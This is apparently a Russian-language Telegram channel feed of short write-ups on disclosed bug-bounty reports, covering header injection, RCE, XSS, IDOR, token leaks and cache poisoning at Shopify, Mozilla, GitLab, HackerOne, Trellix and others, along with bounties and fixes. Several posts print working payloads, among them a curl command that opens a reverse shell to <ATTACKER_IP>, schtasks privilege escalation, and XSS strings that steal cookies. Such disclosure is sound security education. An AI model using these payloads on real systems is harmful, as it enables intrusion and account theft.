Репорты простым языком
2.54K subscribers
671 photos
7 videos
32 files
1.54K links
Самые важные ИБ-репорты со всего мира простым языком.
Download Telegram
🚨 Инъекция HTTP заголовка в Shopify Pitchfork из-за апгрейда Rack!

Интересный баг в Pitchfork (минималистичный Rack-сервер от Shopify). Оказывается, при работе с Rack 3 он становится уязвим к HTTP Response Header Injection.


🚀 Суть: Rack 3 возвращает значения заголовков в виде массива. Pitchfork версии 0.10.0 просто итерируется по этому массиву и добавляет значения в буфер ответа без какой-либо фильтрации символов \r или \n.

🔍 Что это дает?
– Инъекцию произвольных заголовков (Set-Cookie, Location и т.д.) через \r\n или даже просто \n.
– Возможность вызвать XSS, если удастся внедрить \r\n\r\n, перенося остаток "заголовка" в тело ответа.

💡 Почему это интересно? С Rack 2 такой проблемы не было — там значения заголовков проходили через сплит по \n, что эффективно удаляло опасные последовательности. Классический пример, как обновление зависимости может неожиданно открыть дыру в безопасности. 😬

💰 Shopify подтвердили баг и выплатили $800 (низкая критичность для их инфраструктуры, но может быть выше в других сетапах).

Хотите больше деталей, PoC-скриншоты и рекомендации по фиксу? 👇
eh.su/reports/74
🐛 RCE в CI/CD Mozilla Taskcluster!

Исследователь обнаружил уязвимость на публичном инстансе community-tc.services.mozilla.com, позволяющую выполнить код на worker-хосте.

⚙️ Как? Очень просто: оказывается, что Taskcluster при формировании команды 'podman run' экранирует почти всё, кроме имени переменной окружения. Зловредное имя из секции payload.env (например, test --help ; whoami ;) напрямую подставлялось в аргумент --env, что приводило к выполнению shell-команд на хосте до запуска контейнера.

💥 Эксплуатация была тривиальной: любой пользователь GitHub мог авторизоваться, выбрать тестовый воркер-групп proj-misc/tutorial и запустить задачу с кастомным YAML, содержащим вредоносное имя переменной. Результат (whoami, ls) был виден прямо в логах задачи.

💰 Уязвимость обходит контейнерную изоляцию. Несмотря на то, что баг получил критичность low, Mozilla выплатила $500, так как проблема затрагивала основную кодовую базу Taskcluster.

Все технические детали, PoC и рекомендации по исправлению читайте в полном разборе:
eh.su/reports/76
🔥 Subdomain Takeover в GitLab Pages! Классика, но с нюансом.


🔧 Каким образом: GitLab Pages продолжал обслуживать кастомные домены целых 7 дней до их верификации. Это создавало окно возможностей: атакующий мог добавить чужой (еще не верифицированный) домен к себе в проект, быстро настроить CNAME/ALIAS на *.gitlab.io и вуаля – полный контроль над субдоменом жертвы!

💥 Последствия классические для такого типа атак: кража кук (если нет Secure и HttpOnly), фишинг под видом легитимного ресурса, и обход CSP/CORS для внедрения своего JS. В PoC засветился docs-dev.gitlab.com.

🕵️‍♂️ Интересный момент: триаж-команда не сразу смогла воспроизвести баг из-за отсутствия доступа к DNS gitlab.com. Ресерчеру пришлось демонстрировать PoC на своем домене (gitlab.info-sec.cl), что в итоге и убедило команду.


🔗 Все детали, шаги воспроизведения и технические подробности – в полном отчёте по ссылке ниже:
eh.su/reports/77
🤘 Сегодня под микроскопом интересный кейс повышения привилегий.

💡 В Acronis True Image 2021 была обнаружена уязвимость DLL Hijacking в компоненте «Rescue Media Builder» (MediaBuilder.exe). Суть в том, что приложение при запуске пыталось подгрузить библиотеку tcmalloc.dll, которой не было в стандартной поставке.

😈 Windows, в своем стремлении помочь, начинала искать эту DLL согласно Search Order, заглядывая в том числе и в директории из переменной PATH. Как вы понимаете, если в PATH есть папка, куда пользователь может писать (например, %USERPROFILE%\AppData\Local\Microsoft\WindowsApps), то туда можно было подложить свою зловредную tcmalloc.dll.

🚀 При запуске Rescue Media Builder, приложение цепляло подмененную DLL, и атакующий получал выполнение кода с правами администратора. Но это еще не все! Имея права админа, можно было провернуть трюк с schtasks.exe для создания и запуска задачи от имени NT AUTHORITY\SYSTEM, например:
> schtasks /create /SC WEEKLY /RU \"NT AUTHORITY\SYSTEM\" /TN EOP /TR C:\Windows\System32\winver.exe /IT /RL HIGHEST
> schtasks /run /I /TN EOP

И вот у нас уже полный контроль над системой!

💸 В итоге, любой локальный пользователь мог эскалировать свои привилегии до SYSTEM. Команда Acronis оперативно отреагировала на репорт от z3ron3, выпустила фикс и дала баунти в размере $250.

📖 Полный разбор этой уязвимости и рекомендации по защите читайте на нашем сайте:
eh.su/reports/79
🎯 Разбор интересного кейса с HTML-инъекцией в GitLab.

В чём было дело: Если на self-managed инстансе GitLab включена опция мягкого подтверждения email (soft email confirmation), атакующий может внедрить HTML-теги прямо в свой адрес электронной почты в профиле.

⚙️ Как это работает: Злоумышленник регистрируется и меняет свой email, добавляя что-то вроде:
user@example.com<h2>test<img/src=http://evil.test/p.png>

Когда администратор вручную подтверждает такого пользователя через Admin Area → Users → Confirm user, GitLab некорректно обрабатывает поле unconfirmed_email при формировании модального окна подтверждения. В итоге, HTML-теги (например, <h2> и <img>) рендерятся прямо в этом окне.

💥 Импакт: Администратор, подтверждая пользователя, незаметно для себя отправляет HTTP-запрос на сервер атакующего (через тег <img>), что приводит к утечке его IP-адреса. Хотя <script> отфильтрованы, это все еще можно использовать для простого фишинга или сбора информации. Уязвимость получила оценку Low.

Фикс и награда: Проблема была исправлена в GitLab 16.1.1. Исследователь получил баунти в размере $1060. Важно было правильно экранировать данные перед выводом в messageHtml.


🔗 Хотите узнать больше деталей и увидеть скриншоты? Полный разбор ждет вас по ссылке:
eh.su/reports/78
Сохранение привилегий через клонирование агента на платформе Dust

🤔 Представьте: вы — обычный пользователь платформы Dust, а хотите бесплатно и безлимитно пользоваться самой крутой LLM, например, gemini-pro, даже если админ её отключил!
Оказывается, это было возможно.

Исследователь обнаружил, что эндпоинт
PATCH /api/w/{w_id}/assistant/agent_configurations/{agent-id}

не проверял, что sid (уникальный ID агента), указанный в теле запроса, относится к глобальному, защищённому агенту.

🛠 Схема атаки была до гениальности простой:

1. Создать своего личного ассистента через веб-интерфейс.
2. Перехватить PATCH запрос на его обновление (например, при смене описания).
3. В пути запроса заменить sid своего агента на нужного глобального агента (например, gemini-pro).
4. В теле JSON-запроса также указать "sid": "gemini-pro".
💥 Вуаля! Ваш личный агент становился полноценным клоном gemini-pro, и им можно было пользоваться, даже когда админ отключал "оригинал", расходуя платные токены компании.

💸 Последствия? Полная компрометация механизма квотирования – сервис платил за запросы к "выключенной" модели. Администратор терял контроль, а компания – деньги, плюс потенциальная утечка контента prompt-инструкций. Классический IDOR, ведущий к эскалации привилегий из-за отсутствия серверной валидации sid и прав на изменение системных записей.

💡 Главный урок этого кейса: НИКОГДА не полагайтесь на клиентские ограничения и всегда валидируйте на сервере права на изменение чувствительных полей, особенно идентификаторов! Проверяйте, кому принадлежит изменяемый объект и не является ли он системным. К чести Dust, они оперативно всё исправили.

🔗 Подробный разбор, скриншоты и детали фикса читайте в полном отчёте:
eh.su/reports/80
🤔 HackerOne уязвим? Да, и ещё как!

Недавно исследователь avinash_ обнаружил, что публичный JSON-эндпоинт HackerOne /reports/:id.json мог сливать тонны личных данных пользователей. И всё из-за, казалось бы, безобидной фичи – summary в репортах!

🐞 Суть бага: лишняя болтливость API
Если в публично раскрытом отчёте на HackerOne присутствовал хотя бы один summary (краткое резюме от репортёра или команды), то API-эндпоинт /reports/[id].json вместо того, чтобы отдавать только текст этого summary, целиком сериализовал связанную запись пользователя (reporter/author). Это классический Information Disclosure.

💧 Что утекало? Практически всё!
В результате любой мог получить доступ к чужим email-адресам, хэшам TOTP-секретов, OTP-резервным кодам, номерам телефонов, токенам GraphQL, размерам футболок и многим другим полям, которые явно не предназначались для публичного просмотра. 😱

🔧 Техническая сторона: "умный" сериализатор подвёл
Скорее всего, проблема крылась в «слишком умном» сериализаторе (в Rails-мире это мог быть ActiveModel::Serializers или Jbuilder). Вместо явного указания полей для вывода (whitelist), он по умолчанию вытягивал все поля ассоциированной модели User. Иронично, что баг появился после релиза, который выкатили всего за 90 минут до репорта – настоящий "0-day на самом HackerOne"!

💣 Утечка была критической:
– TOTP-секрет + резервные коды = фактический обход 2FA при известном пароле.
– Токен graphql_secret_token мог позволить эмулировать запросы от имени пользователя.
– Email и телефон – прямая дорога к фишингу и SIM-swapping.
Уязвимость затрагивала все раскрытые отчёты с summary, а это десятки тысяч профилей.

🛠 Фикс и награда
Инженеры H1 подтвердили и исправили баг в течение полутора дней, заставив сериализатор отдавать строго ограниченный набор публичных полей. Исследователь avinash_ получил за свою находку $25,000! 💰

🎓Этот случай – отличное напоминание:
1. Всегда используйте explicit whitelist при сериализации объектов, особенно User-моделей.
2. Автоматические тесты на изменения в API и DAST/снапшот-тесты после миграций сериализаторов – мастхев.
Даже компании, специализирующиеся на безопасности, могут допустить классические ошибки.

➡️ Полный разбор этого интереснейшего репорта читайте на сайте:
eh.su/reports/81
💣 0-click RCE в Trellix Enterprise Security Manager 11.6.10: Классическая связка из двух уязвимостей, которая позволила получить полный контроль над SIEM-системой.

🔗 Вся магия начиналась с неверно сконфигурированной директивы ProxyPass в Apache. Запросы к /rs без аутентификации проксировались на локальный AJP-порт 8009 (ProxyPass /rs ajp://localhost:8009/rs). Исследователь использовал трюк с "Breaking Parser Logic" (помните доклад Orange Tsai?), добавив ..;/ в URL. Apache считал это валидным, а Tomcat нормализовал путь, открывая доступ к внутреннему Snowservice и его API SnowflexAdminServices.

💻 Дальше – дело техники! В методе ManageNode этого самого Snowservice параметр name передавался прямиком в системную команду sh -c <name>. Конечно же, без какой-либо фильтрации. Обернув пейлоад в обратные кавычки (например, id), можно было выполнить произвольные команды с правами root. Пример для получения шелла:
curl -k -X POST https://<ESM>/rs/..;/Snowservice/SnowflexAdminServices/ManageNode -d '{"serverName":"poc","processes":[{"name":"bash -i >& /dev/tcp/<ATTACKER_IP>/2137 0>&1","signal":"Restart"}]}'


💥 Итог: неаутентифицированный удаленный захват SIEM-сервера с root-привилегиями, доступ к чувствительным логам и возможность дальнейшего продвижения по сети. Ошибка в конфигурации прокси и отсутствие валидации пользовательского ввода – гремучая смесь!

🛡 Команда Trellix отреагировала оперативно: баг был подтвержден, и патч выпущен в разумные сроки. Это хороший пример того, насколько важно тщательно настраивать проксирование и всегда валидировать пользовательский ввод, особенно когда речь идет о передаче данных в системные вызовы.

📖 Полный разбор с техническими деталями, PoC и хронологией доступен здесь:
eh.su/reports/82
👋 Stored XSS в довольно популярном WYSIWYG-редакторе Trix (версии 2.1.1), который используется в Basecamp и Rails ActionText.

🐞 Суть уязвимости: Исследователь thwin_htet обнаружил, что Trix некорректно санитайзил HTML, вставляемый из буфера обмена. Если подменить contentType на text/html5 внутри атрибута data-trix-attachment, то встроенный санитайзер пропускал теги <img> с инлайновыми обработчиками событий, например, onerror. Это приводило к постоянному выполнению JS-кода у всех, кто открывал зараженную заметку, задачу или комментарий.
Забавно, что это был обход патча CVE-2024-34341, выпущенного месяцем ранее!

🛠 Как это работало? Атакующий мог создать специальную HTML-структуру:
<div data-trix-attachment='{"contentType":"text/html5","content":"<img src=1 onerror=alert(document.domain)>XSS POC"}'></div>

При копировании и вставке этого (скрытого) содержимого в редактор Trix, XSS-ка сразу же отрабатывала. Просто, но изящно!

💥 Импакт был серьезным:
– Кража CSRF-токенов и сессионных cookies.
– Выполнение действий от имени пользователя (создание/удаление задач, отправка сообщений).
– Теоретическая возможность создания XSS-червя.

💸 Награда и фикс: Баг был подтвержден, и исследователь получил $1000 (нижняя граница для high-severity). Уязвимость была исправлена в Trix 2.1.5 (PR #1156), а GitHub присвоил ей новый идентификатор GHSA-qm2q-9f3q-2vcv.


💡 Любые комплексные форматы данных (аттачи, oEmbed, Markdown) требуют многоступенчатой и тщательной дезинфекции. "Скрытые" поля и метаданные часто становятся идеальным вектором для атаки. Не забывайте про CSP и регрессионные тесты!

🔗 Узнать все технические детали и посмотреть PoC можно в полном разборе:
eh.su/reports/85
🎯 Разбор свежего репорта на GitLab: Недавно там всплыл интересный IDOR, который позволял получить доступ ко всем моделям машинного обучения через их ML Model Registry (фича, появившаяся в GitLab ≥ 15.11). Исследователь moblig обнаружил, что этот модуль "забывал" проверять права доступа в GraphQL.

🔍 Как это работало? Достаточно было знать (или просто перебрать) инкрементный глобальный ID модели, например, gid://gitlab/Ml::Model/1000401. С таким ID можно было через GraphQL-запрос getModel вытащить полное описание даже приватной модели: конфиденциальные параметры обучения, ссылки на артефакты, CI-джобу, пользователя и так далее.

🔩 Корень зла: Отсутствие проверки политики Ml::ModelPolicy в GraphQL-резолвере MlModelResolver. Запросы проходили авторизационный слой REST, но внутрь GraphQL они попадали напрямую, а ID генерировались монотонно и предсказуемо. Простым декрементом можно было перебрать весь пул объектов!

💥 Последствия: Любой авторизованный пользователь GitLab.com или self-managed инстанса (даже с бесплатного аккаунта!) мог скачать или просмотреть все модели, независимо от приватности проектов. Это утечка исследовательских датасетов, бизнес-логики и CI-пайплайнов. Сложность атаки – минимальная.

🛠 Результат: Уязвимость оперативно исправили (Issue #466224), а исследователь получил награду в $1160. Отличная работа!

💡 GraphQL – мощный инструмент, но его слой авторизации часто упускают из виду, особенно в новом функционале. А ведь в ML-моделях может храниться куда больше чувствительных данных (гиперпараметры, метрики), чем кажется на первый взгляд, что позволяет воссоздать конкурентную ML-разработку.

🔗 Полный разбор, как всегда, ждет вас по ссылке:
eh.su/reports/86
📢 Утечка токена Netlify в CI-логах Mozilla: когда --debug выходит боком!

Сегодня под микроскопом репорт о том, как обычный CI-лог может превратиться в золотую жилу для атакующего. Речь пойдет об утечке Bearer-токена Netlify в публичных логах firefox-ci-tc.services.mozilla.com.

🔍 Исследователь samirsec0x01 неспешно просматривал публичный лог одной из билд-задач в Taskcluster (CI/CD система Mozilla) и наткнулся на строку с префиксом auth:. Бинго! Прямо в логе лежал валидный Bearer-токен для Netlify. Быстрая проверка через curl -H "Authorization: Bearer …" https://api.netlify.com/api/v1/accounts подтвердила – токен живой и дает доступ к команде «Mozilla IT Web SRE».

🤦‍♂️ Корень зла оказался до банальности прост. Билд-скрипт для деплоя сайта crash-pings.mozilla.org использовал CLI-утилиту Netlify. При включённом флаге --debug эта утилита любезно выводила токен авторизации прямо в stdout. А Taskcluster, в свою очередь, делал stdout публичным. Классический Secret leak из-за неверной конфигурации, а не бага в самих Netlify или Taskcluster!

💥 Что же мог натворить злоумышленник с этим токеном?
– Получить полный список сайтов команды.
– Перехватить и подменить содержимое сайта crash-pings.mozilla.org.
– Прочитать ENV-переменные, логи и другие секреты проекта.
– Изменить billing-email, открыв путь к финансовым махинациям.
И самое "вкусное" – добиться RCE (Remote Code Execution) через Netlify Deploy Functions, отправив PUT-запрос на https://api.netlify.com/api/v1/deploys/{deploy_id}/functions/shell.

💰 Интересный момент возник в коммуникации с программой. Исследователь настаивал на критическом рейтинге и более крупной выплате (по его словам, он "целится купить машину" 😉). Триажер возразил: да, утечка секрета в CI-логах – это критично, но воздействие затрагивает "второстепенный" сайт (crash-pings.mozilla.org), а не критический ассет самой Mozilla. В итоге, программа установила выплату в $1000 + бонус $500, что соответствовало их политике (критическая уязвимость, но на out-of-scope активе).

Этот кейс – отличное напоминание, что дьявол кроется в деталях конфигурации CI/CD пайплайнов. Даже самые надежные инструменты могут подвести, если их неправильно настроить.

🔗 Полный разбор и детали репорта (включая скриншоты переписки и политик) можно найти здесь:
eh.su/reports/88
👋 Сегодня на повестке дня сочный кейс с HackerOne по Shopify Partners, где отсутствие простой проверки email привело к захвату аккаунтов.

🎯 В Shopify Partners изменили механизм приглашений: ссылка-инвайт стала активна даже без подтверждения email адреса владельцем. Это открыло дорогу для Privilege Escalation: злоумышленник мог зарегистрировать аккаунт на почту жертвы, получить сессионные куки _partners_session, а затем, когда реального пользователя приглашали в партнёрскую организацию, просто перехватить этот инвайт и стать Owner!

🚀 Эксплуатация была довольно изящной:
1. Собираем email'ы потенциальных жертв (OSINT, LinkedIn и т.д.).
2. Массово регистрируем аккаунты на эти адреса на partners.shopify.com/signup/user, сохраняя _partners_session.
3. Скриптом автоматизируем проверку поля pendingInvitations у созданных аккаунтов.
4. Как только появляется приглашение, скрипт автоматически кликает acceptInvitationPath. Вуаля, мы Owner! И все это без какого-либо взаимодействия с жертвой.

🤔 Самое интересное началось при обсуждении CVSS. Shopify посчитали это за 4.8 (Medium), ссылаясь на необходимость "угадать" email и успеть раньше легитимного пользователя (AC:H). Однако исследователь настаивал на 9.1 (Critical), ведь для атаки не требовалось ни начальных привилегий, ни специфичных условий со стороны жертвы. В итоге баг был признан, а баунти составило $3,500.

🛠 Фикс от Shopify оказался простым и логичным: теперь при попытке принять инвайт с неподтвержденной почты система требует сначала верифицировать email сообщением «Verify your email first».


🔗 Заинтересовались деталями, включая скрипт для мониторинга и полную переписку по CVSS?
Все подробности в отчёте на сайте:
eh.su/reports/89
🚨 Как пользователь с ограниченными правами смог создавать несанкционированные referrals в Shopify Partners. Классика, которую любят все!

🚶‍♂️ Исследователь создал в partners.shopify.com тестовую организацию и пригласил туда второго участника, предварительно сняв у него права на просмотр рефералов («View referrals»). Как и ожидалось, прямой переход на страницу https://partners.shopify.com/<partner_id>/referrals/ для этого пользователя закончился ошибкой доступа. Однако! Через аккаунт администратора была найдена функция «Submit a POS Lead», которая обращалась к внутреннему эндпоинту: https://partners.shopify.com/<partner_id>/partner_leads/pos. Попытка открыть этот URL из-под ограниченного пользователя увенчалась успехом – форма создания referral была полностью доступна, и он смог успешно отправить её! 💥

⚙️ В чем же была магия? Всё дело в Broken Access Control (BAC) с элементами IDOR. На сервере отсутствовала проверка на наличие пермишена View referrals для маршрута /partner_leads/pos и связанных с ним POST-запросов. Клиентский интерфейс, конечно, скрывал кнопку, но API не требовал нужного scope. Достаточно было иметь любую валидную партнёрскую сессию.

📈 Влияние: Такая уязвимость напрямую била по целостности данных (Integrity). Ограниченный сотрудник мог бесконтрольно создавать POS referrals, искажая партнёрскую статистику, влияя на комиссионные и отчётность. Shopify оценил этот баг в CVSS 4.3 (Medium).

Реакция и фикс: Shopify молодцы – быстро подтвердили уязвимость (через неделю после репорта) и через несколько суток выкатили исправление. Теперь на эндпоинте /partner_leads/pos стоит серверная проверка прав, и неавторизованный доступ возвращает 403 Forbidden.

🔗 Полный разбор, как всегда, доступен по ссылке:
eh.su/reports/90
👻 Сегодня у нас на повестке дня интересный репорт с HackerOne, который отлично показывает, как даже небольшая разница в ответах сервера может привести к утечке весьма чувствительной информации. Речь пойдет о том, как можно было проникнуть за завесу и узнать о приватных программах!

🔍 Наш герой, исследуя настройки своей sandbox-программы на H1, обратил внимание на ссылку "Download list of finders that have accepted terms (.CSV)". Ссылка оказалась предсказуемой: https://hackerone.com/<handle>/terms_acceptance_data.csv.

🕵️‍♂️ Тут начинается самое интересное! Исследователь решил подставить в URL другие handle'ы и обнаружил неожиданное поведение:

– Для sandbox-программ файл скачивался (пусть и пустой).
– Для private (invite-only) программ сервер отвечал обычным 404 "Page not found".
– А вот для несуществующих handle'ов выдавалась брендированная страница 404 от HackerOne.
Эта минимальная, но стабильная разница в ответах сервера стала ключом к багу!

💥 Суть баги: Это классический случай IDOR (Insecure Direct Object Reference) в связке с information disclosure. Эндпоинт terms_acceptance_data.csv для sandbox-программ не проверял разрешения download_terms_csv, тогда как для приватных программ он заворачивал запрос в стандартный контроллер, выдавая обычный 404. Отсутствие единообразной обработки ошибок (uniform error handling) позволило любому залогиненному пользователю (даже без инвайта в целевую программу!) по реакции сервера определить, является ли тестируемый handle приватной программой или нет.

😈 Влияние: Возможность собрать каталог приватных invite-only программ — это прямая потеря конфиденциальности самого факта их существования. Зная, что такая программа есть, злоумышленники могли бы проводить целевые фишинговые атаки или социальную инженерию на ее потенциальных участников.

💸 Что по фиксу и баунти? Команда H1 оперативно всё поправила: теперь все неавторизованные запросы к terms_acceptance_data.csv всегда возвращают единый 404, независимо от типа программы. Загружать CSV разрешено только членам соответствующей баг-баунти команды. Несмотря на CVSS 6.1 (Medium), H1 классифицировала баг как Low, основываясь на своей внутренней политике о раскрытии факта существования приватной программы. Баунти составило $500.

💡 Урок для нас: Всегда обращайте внимание на мельчайшие различия в ответах сервера — будь то код ответа, размер страницы, заголовки или даже текст ошибки. Именно в этих деталях часто кроется возможность для перечисления скрытых сущностей (enumeration) и утечки информации!

🔗 Хотите углубиться? Полный текст репорта с HackerOne доступен по ссылке:
eh.su/reports/92
📌 XSS через Mastodon embeds на IRCCloud

📝 Сервис IRCCloud умел автоматически встраивать превью для ссылок на посты в Mastodon. Для этого он запрашивал метаданные по API и, что самое важное, слепо доверял полю url из ответа, используя его для создания <iframe src="...">.

💥 Исследователь под ником lotsofloops поднял свой инстанс Mastodon (sm4.ca) и в JSON-ответе на запрос метаданных подставил пейлоад в поле url:
javascript:top.document.body.innerHTML = "hi your cookie is " + document.cookie;//

В результате, браузер жертвы создавал iframe с javascript:-схемой, и скрипт тут же выполнялся, получая полный доступ к объекту top родительского окна, включая куки сессии IRCCloud. И всё это без какого-либо взаимодействия со стороны жертвы – достаточно было просто отправить ссылку в чат!

🛠 Первый фикс от IRCCloud заключался в блокировке опасных URL-схем (javascript:, data:, vbscript: и т.д.). Однако, его удалось обойти, просто добавив пробел, таб или управляющий символ перед двоеточием (например, javascript :).
Финальное решение – валидация протокола через new URL(...).protocol, что оказалось куда надежнее ручных проверок startsWith().

💣 Импакт: Кража сессионных кук вела к полному захвату аккаунта IRCCloud. Уязвимость представляла собой DOM-based XSS, но вела себя как Stored XSS, так как вредоносная ссылка оставалась в истории чата. Классическая цепочка «пользовательский URL → iframe → javascript:» снова в деле! За этот репорт было выплачено $500.

🔗 Полный разбор и все детали вы найдете по ссылке:
eh.su/reports/94
🔥 Stored XSS в GitLab Wiki через Banzai pipeline!

Да-да, снова XSS, и на этот раз в Wiki GitLab. Уязвимость позволяла через специально подготовленную Markdown-разметку внедрить HTML, который после хитроумных преобразований в браузере превращался в полноценный Stored XSS с обходом CSP. А всё из-за особенностей работы Banzai pipeline!

🐛 В чём была соль?
Ресёрчер подметил, что фильтр AbstractReferenceFilter (часть Banzai) сверял ссылку лишь по её началу (link_pattern_start), а вот замену (gsub) производил по полному регулярному выражению. Это создавало забавное расхождение: второе совпадение ссылки внутри той же строки могло угодить прямиком в атрибут alt вложенного тега <a>. Оттуда оно уже не проходило должную санитизацию. Если такую конструкцию сохранить на Wiki-странице (например, в _sidebar.md), скрипт превращался в классический Stored XSS, срабатывающий у всех посетителей проекта.

🤯 Магия mXSS и обход CSP!
Для эксплуатации использовалась техника mXSS (mutation XSS). В href внедрялся примерно такой пейлоад:
*<svg><style><img/src="0"onerror="alert(0)"></style></svg>

На бэкенде Nokogiri (HTML4-парсер) видел лишь безобидный <img>. А вот браузер (с его HTML5-парсером) после DOM-мутаций "достраивал" эту конструкцию до рабочего <img src=... onerror=...>, который исполнялся вне <svg>, эффективно обходя даже строгую CSP на gitlab.com! Это происходило из-за того, что часть данных из оригинальной ссылки (после gsub) попадала в атрибут alt таким образом, что символ &quot; позволял "вырваться" и добавить новые атрибуты или закрыть текущий.

💣 Какие были последствия?
Любой участник проекта с правами на редактирование Wiki мог выполнить произвольный JavaScript в браузере любого посетителя этой Wiki-страницы. С учетом обхода CSP, это открывало дорогу к прямому доступу к REST API от имени жертвы. Как бонус – утечка названий приватных issues/merge requests через "засветившиеся" alt атрибуты.

🛡 Фикс и что делать?
GitLab оперативно выпустил патч в релизе 16.10.1. Командам, использующим форки или self-hosted экземпляры, настоятельно рекомендуется обновиться! Основные уроки: сопоставлять регулярки полностью, а не только префиксы, и обязательно повторно санитайзить HTML после всех внутренних фильтров.

🔗 Полный разбор и технические детали доступны по ссылке:
eh.su/reports/93
🐛 Сегодня на повестке дня интересный DoS в Monero, который можно было вызвать через RPC-сервис, просто передав слишком большое число.

⚙️ Вся соль в RPC-методе get_fee_estimate. Он принимал параметр grace_blocks (беззнаковое 64-битное целое), который мог достигать астрономического значения 18446744073709551615 (это 2^64-1, если что)
Самое забавное, что проверка на адекватность этого параметра (grace_blocks <= 100) стояла ПОСЛЕ цикла for (size_t i = 0; i < grace_blocks; ++i). Представляете, сколько итераций могло быть? 😅

🔥 Исследователь просто засыпал локально поднятую ноду асинхронными POST-запросами с максимальным значением grace_blocks. Результат предсказуем: CPU на 100%, процесс зависал намертво, и нода переставала отвечать на новые подключения. Учитывая, что Censys находил сотни публичных RPC-нод Monero, масштаб атаки мог быть весьма ощутимым, затрагивая кошельки и сервисы, зависящие от RPC для расчета комиссий.

Фикс оказался до банального прост: проверку grace_blocks перенесли ДО цикла, и ограничили его значением 99. Уязвимость устранена в версии Monero 0.18.3.2. За находку исследователь получил честно заработанные 5 XMR! 💰

📖 Это классический пример ошибки логики и отсутствия должной валидации входных данных. Никаких тебе переполнений буфера или RCE, просто "бесконечный" цикл, приводящий к CPU exhaustion. Мораль: всегда валидируйте входящие параметры, особенно числа, и не стесняйтесь смотреть на порядок выполнения проверок! 😉

Подробный разбор этого кейса можно почитать на нашем сайте:
eh.su/reports/115
☣️ Web Cache Poisoning DoS в Shopify: как один \ мог всё сломать

Сегодня разберем классический Web Cache Poisoning, который мог вызвать серьезные проблемы у Shopify. Суть бага была в разном поведении CDN и origin-сервера: CDN Shopify считал, что
https://cdn.shopify.com/asset.js
и
https://cdn.shopify.com\\asset.js
— это одно и то же для ключа кэша. А вот origin-сервер так не думал и на запрос с \ отвечал 404 Not Found.

🔎 В чем суть? Атакер мог отправить один единственный запрос с обратным слэшем (\). CDN-нода, получив 404, любезно кэшировала этот ошибочный ответ для правильного URL (с /)! После этого любой пользователь, запрашивающий легитимный файл, получал закешированный 404, пока кэш не истечет. Классика, подтвержденная заголовком CF-Cache-Status: HIT.

📉 Импакт? Огромный. Любой общий JS, CSS или файл с изображением на cdn.shopify.com можно было подменить на 404-страницу. Это привело бы к частичному DoS для тысяч магазинов на платформе Shopify и даже для их собственных сервисов, ведь все ассеты грузятся именно оттуда.

💰 За эту находку исследователь получил $3800. Команда Shopify оперативно пофиксила баг, внедрив правильную нормализацию URL на уровне CDN еще до запроса к origin-серверу. Быстро, четко и по делу!

📖 Хотите узнать больше деталей, увидеть PoC-запросы и почитать о процессе фикса? Полный разбор ждет вас по ссылке:
eh.su/reports/122